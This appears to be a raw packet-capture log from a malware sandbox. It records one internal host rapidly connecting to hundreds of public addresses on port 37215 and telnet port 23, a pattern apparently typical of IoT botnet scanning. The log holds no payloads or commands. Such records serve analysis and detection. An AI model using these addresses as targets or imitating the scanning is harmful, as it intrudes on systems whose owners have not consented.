Dec 3, 2024 21:02:00.160207987 CET	18849	37215	192.168.2.23	197.9.177.217
Dec 3, 2024 21:02:00.160209894 CET	18849	37215	192.168.2.23	41.23.230.92
Dec 3, 2024 21:02:00.160207987 CET	18849	37215	192.168.2.23	197.126.216.123
Dec 3, 2024 21:02:00.160217047 CET	18849	37215	192.168.2.23	156.174.143.205
Dec 3, 2024 21:02:00.160221100 CET	18849	37215	192.168.2.23	197.93.73.195
Dec 3, 2024 21:02:00.160227060 CET	18849	37215	192.168.2.23	197.169.165.32
Dec 3, 2024 21:02:00.160233021 CET	18849	37215	192.168.2.23	41.76.13.239
Dec 3, 2024 21:02:00.160248995 CET	18849	37215	192.168.2.23	156.66.112.109
Dec 3, 2024 21:02:00.160253048 CET	18849	37215	192.168.2.23	197.86.56.119
Dec 3, 2024 21:02:00.160259008 CET	18849	37215	192.168.2.23	197.160.71.252
Dec 3, 2024 21:02:00.160264969 CET	18849	37215	192.168.2.23	156.230.214.191
Dec 3, 2024 21:02:00.160267115 CET	18849	37215	192.168.2.23	41.129.142.50
Dec 3, 2024 21:02:00.160278082 CET	18849	37215	192.168.2.23	197.255.149.7
Dec 3, 2024 21:02:00.160278082 CET	18849	37215	192.168.2.23	197.127.197.248
Dec 3, 2024 21:02:00.160279989 CET	18849	37215	192.168.2.23	197.60.54.47
Dec 3, 2024 21:02:00.160289049 CET	18849	37215	192.168.2.23	156.69.242.88
Dec 3, 2024 21:02:00.160295963 CET	18849	37215	192.168.2.23	197.77.4.22
Dec 3, 2024 21:02:00.160304070 CET	18849	37215	192.168.2.23	197.154.83.168
Dec 3, 2024 21:02:00.160307884 CET	18849	37215	192.168.2.23	197.0.157.6
Dec 3, 2024 21:02:00.160314083 CET	18849	37215	192.168.2.23	156.72.27.124
Dec 3, 2024 21:02:00.160314083 CET	18849	37215	192.168.2.23	156.184.55.117
Dec 3, 2024 21:02:00.160325050 CET	18849	37215	192.168.2.23	156.104.147.21
Dec 3, 2024 21:02:00.160326004 CET	18849	37215	192.168.2.23	41.121.125.202
Dec 3, 2024 21:02:00.160335064 CET	18849	37215	192.168.2.23	156.109.86.37
Dec 3, 2024 21:02:00.160341978 CET	18849	37215	192.168.2.23	197.56.200.74
Dec 3, 2024 21:02:00.160343885 CET	18849	37215	192.168.2.23	41.8.114.235
Dec 3, 2024 21:02:00.160347939 CET	18849	37215	192.168.2.23	41.18.2.44
Dec 3, 2024 21:02:00.160347939 CET	18849	37215	192.168.2.23	156.183.123.219
Dec 3, 2024 21:02:00.160351038 CET	18849	37215	192.168.2.23	197.210.140.248
Dec 3, 2024 21:02:00.160355091 CET	18849	37215	192.168.2.23	41.133.103.82
Dec 3, 2024 21:02:00.160372972 CET	18849	37215	192.168.2.23	41.23.230.20
Dec 3, 2024 21:02:00.160373926 CET	18849	37215	192.168.2.23	156.132.86.140
Dec 3, 2024 21:02:00.160373926 CET	18849	37215	192.168.2.23	197.62.234.213
Dec 3, 2024 21:02:00.160382032 CET	18849	37215	192.168.2.23	156.11.62.193
Dec 3, 2024 21:02:00.160382032 CET	18849	37215	192.168.2.23	156.128.10.87
Dec 3, 2024 21:02:00.160393953 CET	18849	37215	192.168.2.23	41.43.108.253
Dec 3, 2024 21:02:00.160394907 CET	18849	37215	192.168.2.23	197.201.200.86
Dec 3, 2024 21:02:00.160402060 CET	18849	37215	192.168.2.23	156.126.153.113
Dec 3, 2024 21:02:00.160403013 CET	18849	37215	192.168.2.23	156.0.131.180
Dec 3, 2024 21:02:00.160417080 CET	18849	37215	192.168.2.23	41.161.110.56
Dec 3, 2024 21:02:00.160418987 CET	18849	37215	192.168.2.23	156.231.103.153
Dec 3, 2024 21:02:00.160434008 CET	18849	37215	192.168.2.23	197.248.118.170
Dec 3, 2024 21:02:00.160434008 CET	18849	37215	192.168.2.23	156.90.196.254
Dec 3, 2024 21:02:00.160440922 CET	18849	37215	192.168.2.23	197.207.45.155
Dec 3, 2024 21:02:00.160454988 CET	18849	37215	192.168.2.23	197.180.229.51
Dec 3, 2024 21:02:00.160459042 CET	18849	37215	192.168.2.23	41.1.70.158
Dec 3, 2024 21:02:00.160463095 CET	18849	37215	192.168.2.23	197.15.179.237
Dec 3, 2024 21:02:00.160478115 CET	18849	37215	192.168.2.23	197.176.187.239
Dec 3, 2024 21:02:00.160478115 CET	18849	37215	192.168.2.23	156.21.95.31
Dec 3, 2024 21:02:00.160484076 CET	18849	37215	192.168.2.23	41.96.126.90
Dec 3, 2024 21:02:00.160484076 CET	18849	37215	192.168.2.23	197.88.100.173
Dec 3, 2024 21:02:00.160485029 CET	18849	37215	192.168.2.23	156.210.185.214
Dec 3, 2024 21:02:00.160497904 CET	18849	37215	192.168.2.23	156.252.91.224
Dec 3, 2024 21:02:00.160511971 CET	18849	37215	192.168.2.23	197.249.186.108
Dec 3, 2024 21:02:00.160518885 CET	18849	37215	192.168.2.23	197.40.76.151
Dec 3, 2024 21:02:00.160518885 CET	18849	37215	192.168.2.23	41.218.6.151
Dec 3, 2024 21:02:00.160537004 CET	18849	37215	192.168.2.23	156.167.8.131
Dec 3, 2024 21:02:00.160540104 CET	18849	37215	192.168.2.23	156.81.106.193
Dec 3, 2024 21:02:00.160541058 CET	18849	37215	192.168.2.23	41.137.5.100
Dec 3, 2024 21:02:00.160541058 CET	18849	37215	192.168.2.23	156.185.76.91
Dec 3, 2024 21:02:00.160547972 CET	18849	37215	192.168.2.23	41.57.37.1
Dec 3, 2024 21:02:00.160547972 CET	18849	37215	192.168.2.23	156.250.193.107
Dec 3, 2024 21:02:00.160547972 CET	18849	37215	192.168.2.23	197.174.192.128
Dec 3, 2024 21:02:00.160567045 CET	18849	37215	192.168.2.23	41.38.128.210
Dec 3, 2024 21:02:00.160567999 CET	18849	37215	192.168.2.23	41.57.20.111
Dec 3, 2024 21:02:00.160573959 CET	18849	37215	192.168.2.23	156.196.65.41
Dec 3, 2024 21:02:00.160582066 CET	18849	37215	192.168.2.23	197.155.204.180
Dec 3, 2024 21:02:00.160593033 CET	18849	37215	192.168.2.23	156.184.132.230
Dec 3, 2024 21:02:00.160593987 CET	18849	37215	192.168.2.23	41.70.139.19
Dec 3, 2024 21:02:00.160594940 CET	18849	37215	192.168.2.23	197.110.155.16
Dec 3, 2024 21:02:00.160594940 CET	18849	37215	192.168.2.23	197.193.8.3
Dec 3, 2024 21:02:00.160604000 CET	18849	37215	192.168.2.23	41.119.71.251
Dec 3, 2024 21:02:00.160604954 CET	18849	37215	192.168.2.23	197.117.142.178
Dec 3, 2024 21:02:00.160604954 CET	18849	37215	192.168.2.23	197.25.43.89
Dec 3, 2024 21:02:00.160605907 CET	18849	37215	192.168.2.23	41.211.73.41
Dec 3, 2024 21:02:00.160609961 CET	18849	37215	192.168.2.23	41.206.151.97
Dec 3, 2024 21:02:00.160613060 CET	18849	37215	192.168.2.23	41.233.241.142
Dec 3, 2024 21:02:00.160618067 CET	18849	37215	192.168.2.23	41.186.144.172
Dec 3, 2024 21:02:00.160634041 CET	18849	37215	192.168.2.23	156.7.142.82
Dec 3, 2024 21:02:00.160636902 CET	18849	37215	192.168.2.23	197.202.149.125
Dec 3, 2024 21:02:00.160648108 CET	18849	37215	192.168.2.23	197.171.250.141
Dec 3, 2024 21:02:00.160657883 CET	18849	37215	192.168.2.23	156.173.180.203
Dec 3, 2024 21:02:00.160657883 CET	18849	37215	192.168.2.23	156.102.147.53
Dec 3, 2024 21:02:00.160672903 CET	18849	37215	192.168.2.23	41.248.28.220
Dec 3, 2024 21:02:00.160676003 CET	18849	37215	192.168.2.23	197.80.250.211
Dec 3, 2024 21:02:00.160679102 CET	18849	37215	192.168.2.23	41.204.110.145
Dec 3, 2024 21:02:00.160680056 CET	18849	37215	192.168.2.23	156.185.153.93
Dec 3, 2024 21:02:00.160686970 CET	18849	37215	192.168.2.23	197.135.177.102
Dec 3, 2024 21:02:00.160686970 CET	18849	37215	192.168.2.23	197.210.121.7
Dec 3, 2024 21:02:00.160707951 CET	18849	37215	192.168.2.23	41.247.102.31
Dec 3, 2024 21:02:00.160712004 CET	18849	37215	192.168.2.23	197.20.13.74
Dec 3, 2024 21:02:00.160717010 CET	18849	37215	192.168.2.23	197.118.59.119
Dec 3, 2024 21:02:00.160722971 CET	18849	37215	192.168.2.23	41.41.79.130
Dec 3, 2024 21:02:00.160731077 CET	18849	37215	192.168.2.23	197.0.8.153
Dec 3, 2024 21:02:00.160731077 CET	18849	37215	192.168.2.23	156.55.48.207
Dec 3, 2024 21:02:00.160738945 CET	18849	37215	192.168.2.23	41.133.90.125
Dec 3, 2024 21:02:00.160742998 CET	18849	37215	192.168.2.23	197.46.221.56
Dec 3, 2024 21:02:00.160751104 CET	18849	37215	192.168.2.23	197.109.42.108
Dec 3, 2024 21:02:00.160763979 CET	18849	37215	192.168.2.23	41.116.234.44
Dec 3, 2024 21:02:00.160765886 CET	18849	37215	192.168.2.23	156.114.153.135
Dec 3, 2024 21:02:00.160765886 CET	18849	37215	192.168.2.23	156.132.185.125
Dec 3, 2024 21:02:00.160765886 CET	18849	37215	192.168.2.23	197.175.4.51
Dec 3, 2024 21:02:00.160789013 CET	18849	37215	192.168.2.23	197.237.19.250
Dec 3, 2024 21:02:00.161195040 CET	38860	37215	192.168.2.23	41.81.232.0
Dec 3, 2024 21:02:00.161870003 CET	51228	37215	192.168.2.23	197.155.146.255
Dec 3, 2024 21:02:00.162533045 CET	43200	37215	192.168.2.23	197.174.145.217
Dec 3, 2024 21:02:00.163155079 CET	49040	37215	192.168.2.23	41.38.117.184
Dec 3, 2024 21:02:00.163839102 CET	58276	37215	192.168.2.23	197.75.140.151
Dec 3, 2024 21:02:00.164484978 CET	51878	37215	192.168.2.23	197.228.160.87
Dec 3, 2024 21:02:00.181823969 CET	46430	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:00.181823969 CET	42492	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:02:00.181823969 CET	45684	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:02:00.181828976 CET	36598	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:00.181828976 CET	55582	23	192.168.2.23	162.138.49.44
Dec 3, 2024 21:02:00.181826115 CET	44582	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:02:00.181832075 CET	39834	23	192.168.2.23	176.95.203.185
Dec 3, 2024 21:02:00.181838989 CET	60336	23	192.168.2.23	134.177.115.51
Dec 3, 2024 21:02:00.181854010 CET	43560	23	192.168.2.23	145.112.114.60
Dec 3, 2024 21:02:00.181852102 CET	49232	23	192.168.2.23	170.202.138.1
Dec 3, 2024 21:02:00.181854963 CET	42974	23	192.168.2.23	164.79.24.43
Dec 3, 2024 21:02:00.181852102 CET	33404	23	192.168.2.23	109.254.38.21
Dec 3, 2024 21:02:00.181852102 CET	52820	23	192.168.2.23	71.111.178.196
Dec 3, 2024 21:02:00.181859970 CET	54648	23	192.168.2.23	219.111.201.216
Dec 3, 2024 21:02:00.181862116 CET	50466	23	192.168.2.23	37.7.60.190
Dec 3, 2024 21:02:00.181869030 CET	33530	23	192.168.2.23	46.105.128.203
Dec 3, 2024 21:02:00.181873083 CET	44932	23	192.168.2.23	78.221.27.128
Dec 3, 2024 21:02:00.181876898 CET	38062	23	192.168.2.23	91.40.76.189
Dec 3, 2024 21:02:00.181876898 CET	53390	37215	192.168.2.23	156.130.75.171
Dec 3, 2024 21:02:00.181884050 CET	45500	23	192.168.2.23	193.149.120.213
Dec 3, 2024 21:02:00.181885958 CET	60576	37215	192.168.2.23	156.137.5.90
Dec 3, 2024 21:02:00.181885958 CET	46888	23	192.168.2.23	223.169.77.55
Dec 3, 2024 21:02:00.181890011 CET	43124	23	192.168.2.23	188.198.193.19
Dec 3, 2024 21:02:00.181890011 CET	46406	23	192.168.2.23	164.59.172.211
Dec 3, 2024 21:02:00.181890011 CET	34954	23	192.168.2.23	113.80.157.3
Dec 3, 2024 21:02:00.181893110 CET	50594	23	192.168.2.23	166.103.118.10
Dec 3, 2024 21:02:00.181894064 CET	46752	23	192.168.2.23	71.84.62.76
Dec 3, 2024 21:02:00.181898117 CET	35916	23	192.168.2.23	68.199.51.170
Dec 3, 2024 21:02:00.181898117 CET	48722	23	192.168.2.23	42.30.210.223
Dec 3, 2024 21:02:00.181910992 CET	38384	23	192.168.2.23	113.255.166.197
Dec 3, 2024 21:02:00.181911945 CET	35648	23	192.168.2.23	9.245.245.15
Dec 3, 2024 21:02:00.181915998 CET	39832	23	192.168.2.23	103.57.134.241
Dec 3, 2024 21:02:00.181920052 CET	44672	23	192.168.2.23	23.225.41.39
Dec 3, 2024 21:02:00.181920052 CET	44044	23	192.168.2.23	169.140.145.245
Dec 3, 2024 21:02:00.181929111 CET	47262	23	192.168.2.23	80.212.208.16
Dec 3, 2024 21:02:00.181931019 CET	53990	23	192.168.2.23	136.119.161.186
Dec 3, 2024 21:02:00.181947947 CET	39646	23	192.168.2.23	66.246.160.68
Dec 3, 2024 21:02:00.181947947 CET	34666	23	192.168.2.23	178.228.214.175
Dec 3, 2024 21:02:00.181951046 CET	51166	23	192.168.2.23	162.90.147.147
Dec 3, 2024 21:02:00.181951046 CET	51062	23	192.168.2.23	13.207.93.11
Dec 3, 2024 21:02:00.181952953 CET	39060	23	192.168.2.23	200.20.56.104
Dec 3, 2024 21:02:00.181952953 CET	36100	23	192.168.2.23	217.47.57.181
Dec 3, 2024 21:02:00.182046890 CET	23	50718	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:00.182120085 CET	50718	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:00.182455063 CET	50762	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:00.184007883 CET	23	60036	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:00.184047937 CET	23	53544	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.184070110 CET	60036	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:00.184088945 CET	23	53576	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.184128046 CET	53576	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.184365034 CET	60080	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:00.185235023 CET	23	39954	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.185305119 CET	23	39984	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.185318947 CET	23	34802	177.172.54.36	192.168.2.23
Dec 3, 2024 21:02:00.185354948 CET	39984	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.185606003 CET	23	34836	177.172.54.36	192.168.2.23
Dec 3, 2024 21:02:00.185646057 CET	34836	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:02:00.185844898 CET	23	46248	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.185894966 CET	23	46280	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.185930967 CET	46280	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.186000109 CET	23	44880	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:00.186060905 CET	44880	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:00.186372042 CET	44924	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:00.213818073 CET	40586	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:00.213819981 CET	56164	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:00.213819981 CET	33580	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:00.213819981 CET	45520	23	192.168.2.23	86.53.237.145
Dec 3, 2024 21:02:00.213820934 CET	50466	23	192.168.2.23	180.35.238.215
Dec 3, 2024 21:02:00.213830948 CET	55040	23	192.168.2.23	105.3.97.249
Dec 3, 2024 21:02:00.213835001 CET	39094	23	192.168.2.23	212.75.125.116
Dec 3, 2024 21:02:00.213846922 CET	50726	23	192.168.2.23	42.230.149.80
Dec 3, 2024 21:02:00.213869095 CET	59588	23	192.168.2.23	175.117.78.255
Dec 3, 2024 21:02:00.214638948 CET	23	45874	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.214871883 CET	23	45906	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.214922905 CET	45906	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.226234913 CET	23	47144	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:00.226308107 CET	23	47176	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:00.226360083 CET	47176	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.226641893 CET	23	43640	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:00.227401972 CET	23	43672	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:00.227447033 CET	43672	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.230618954 CET	23	38662	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:00.230695009 CET	38662	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:00.231057882 CET	38854	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:00.241925955 CET	23	53246	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:00.242007971 CET	53246	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:00.242389917 CET	53292	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:00.257601023 CET	23	47550	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:00.257688046 CET	47550	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:00.258035898 CET	47594	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:00.268709898 CET	23	41644	19.2.133.238	192.168.2.23
Dec 3, 2024 21:02:00.268836021 CET	23	59626	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:00.268922091 CET	59626	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:00.269153118 CET	23	41676	19.2.133.238	192.168.2.23
Dec 3, 2024 21:02:00.269201994 CET	41676	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:02:00.269310951 CET	59670	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:00.270962000 CET	23	52282	190.211.38.241	192.168.2.23
Dec 3, 2024 21:02:00.270982981 CET	23	37794	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:00.271008968 CET	52282	23	192.168.2.23	190.211.38.241
Dec 3, 2024 21:02:00.271008968 CET	37794	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:00.271037102 CET	23	39732	198.222.181.139	192.168.2.23
Dec 3, 2024 21:02:00.271048069 CET	23	38946	154.132.9.16	192.168.2.23
Dec 3, 2024 21:02:00.271075964 CET	23	45954	178.26.237.81	192.168.2.23
Dec 3, 2024 21:02:00.271090984 CET	38946	23	192.168.2.23	154.132.9.16
Dec 3, 2024 21:02:00.271091938 CET	39732	23	192.168.2.23	198.222.181.139
Dec 3, 2024 21:02:00.271115065 CET	45954	23	192.168.2.23	178.26.237.81
Dec 3, 2024 21:02:00.277112007 CET	23	60284	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:00.277697086 CET	23	60316	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:00.277749062 CET	60316	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.277795076 CET	36086	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:00.277801991 CET	49396	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:00.277825117 CET	46964	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:00.277825117 CET	37974	23	192.168.2.23	147.0.127.209
Dec 3, 2024 21:02:00.277827024 CET	55632	23	192.168.2.23	68.92.143.216
Dec 3, 2024 21:02:00.277836084 CET	45342	23	192.168.2.23	184.154.211.219
Dec 3, 2024 21:02:00.277836084 CET	39188	23	192.168.2.23	122.50.242.142
Dec 3, 2024 21:02:00.277837038 CET	47498	23	192.168.2.23	60.49.247.195
Dec 3, 2024 21:02:00.277837038 CET	38020	23	192.168.2.23	73.97.246.62
Dec 3, 2024 21:02:00.277839899 CET	47174	23	192.168.2.23	53.174.78.169
Dec 3, 2024 21:02:00.277841091 CET	58020	23	192.168.2.23	190.137.9.223
Dec 3, 2024 21:02:00.277846098 CET	50450	23	192.168.2.23	158.126.177.164
Dec 3, 2024 21:02:00.277846098 CET	57616	23	192.168.2.23	218.92.1.213
Dec 3, 2024 21:02:00.277853012 CET	52168	23	192.168.2.23	12.166.12.97
Dec 3, 2024 21:02:00.277853012 CET	50626	23	192.168.2.23	80.4.167.111
Dec 3, 2024 21:02:00.277857065 CET	34394	23	192.168.2.23	173.176.91.172
Dec 3, 2024 21:02:00.277857065 CET	36772	23	192.168.2.23	166.8.95.108
Dec 3, 2024 21:02:00.277864933 CET	42734	23	192.168.2.23	190.73.242.239
Dec 3, 2024 21:02:00.277869940 CET	58420	23	192.168.2.23	74.66.110.56
Dec 3, 2024 21:02:00.277869940 CET	32898	23	192.168.2.23	86.80.37.190
Dec 3, 2024 21:02:00.277869940 CET	52968	23	192.168.2.23	142.52.243.14
Dec 3, 2024 21:02:00.277882099 CET	52136	23	192.168.2.23	159.12.152.242
Dec 3, 2024 21:02:00.303826094 CET	23	36598	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:00.303843975 CET	23	46430	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:00.303855896 CET	23	50718	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:00.303911924 CET	36598	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:00.303915024 CET	46430	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:00.306032896 CET	23	60036	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:00.306480885 CET	23	53576	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.306689024 CET	53576	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.307142973 CET	53620	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.307720900 CET	23	39984	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.307792902 CET	39984	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.307889938 CET	23	34836	177.172.54.36	192.168.2.23
Dec 3, 2024 21:02:00.308090925 CET	40028	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.308402061 CET	23	44880	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:00.308417082 CET	23	46280	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.308481932 CET	46280	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.308756113 CET	46322	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.309108019 CET	34836	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:02:00.309401035 CET	34882	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:02:00.336790085 CET	23	40586	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:00.336827993 CET	23	56164	109.28.90.120	192.168.2.23
Dec 3, 2024 21:02:00.336838007 CET	23	33580	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:00.336889029 CET	40586	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:00.336894035 CET	33580	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:00.336894035 CET	56164	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:00.337707043 CET	23	45906	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.337784052 CET	45906	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.337805986 CET	45906	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.338198900 CET	45950	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.348140955 CET	23	47176	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:00.348215103 CET	47176	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.348521948 CET	47220	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.349453926 CET	23	43672	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:00.349510908 CET	43672	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.349828005 CET	43716	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.352351904 CET	23	38662	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:00.352412939 CET	23	38854	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:00.352448940 CET	38854	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:00.361938000 CET	23	53246	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:00.362288952 CET	23	53292	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:00.362351894 CET	53292	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:00.379189014 CET	23	47550	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:00.379215002 CET	23	47594	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:00.379288912 CET	47594	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:00.389133930 CET	23	59626	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:00.389473915 CET	23	59670	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:00.389527082 CET	59670	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:00.389672041 CET	23	41676	19.2.133.238	192.168.2.23
Dec 3, 2024 21:02:00.389735937 CET	41676	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:02:00.390125036 CET	41720	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:02:00.391591072 CET	23	52282	190.211.38.241	192.168.2.23
Dec 3, 2024 21:02:00.391654015 CET	52282	23	192.168.2.23	190.211.38.241
Dec 3, 2024 21:02:00.391762018 CET	23	37794	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:00.391947985 CET	23	38946	154.132.9.16	192.168.2.23
Dec 3, 2024 21:02:00.391968012 CET	52994	23	192.168.2.23	190.211.38.241
Dec 3, 2024 21:02:00.392119884 CET	23	39732	198.222.181.139	192.168.2.23
Dec 3, 2024 21:02:00.392254114 CET	23	45954	178.26.237.81	192.168.2.23
Dec 3, 2024 21:02:00.392334938 CET	38946	23	192.168.2.23	154.132.9.16
Dec 3, 2024 21:02:00.392596960 CET	39666	23	192.168.2.23	154.132.9.16
Dec 3, 2024 21:02:00.392913103 CET	45954	23	192.168.2.23	178.26.237.81
Dec 3, 2024 21:02:00.393167973 CET	46672	23	192.168.2.23	178.26.237.81
Dec 3, 2024 21:02:00.393502951 CET	39732	23	192.168.2.23	198.222.181.139
Dec 3, 2024 21:02:00.393769979 CET	40448	23	192.168.2.23	198.222.181.139
Dec 3, 2024 21:02:00.393793106 CET	37794	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:00.394150019 CET	37794	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:00.394404888 CET	38508	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:00.397783995 CET	23	49396	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:00.397825956 CET	23	36086	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:00.397835970 CET	23	46964	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:00.397887945 CET	49396	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:00.397888899 CET	36086	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:00.397898912 CET	46964	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:00.397905111 CET	23	60316	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:00.397962093 CET	60316	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.398236036 CET	60370	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.424129963 CET	23	36598	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:00.424213886 CET	36598	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:00.424304008 CET	23	46430	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:00.424527884 CET	36796	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:00.424868107 CET	46430	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:00.425144911 CET	46628	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:00.426628113 CET	23	53576	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.427004099 CET	23	53620	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.427046061 CET	53620	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.427715063 CET	23	39984	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.427978992 CET	23	40028	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.428015947 CET	40028	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.428550005 CET	23	46280	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.428736925 CET	23	46322	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.428780079 CET	46322	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.429115057 CET	23	34836	177.172.54.36	192.168.2.23
Dec 3, 2024 21:02:00.457875013 CET	23	33580	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:00.457889080 CET	23	45906	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.457994938 CET	33580	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:00.458127975 CET	23	40586	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:00.458226919 CET	23	45950	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.458302021 CET	45950	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.458348989 CET	34128	23	192.168.2.23	46.74.21.128
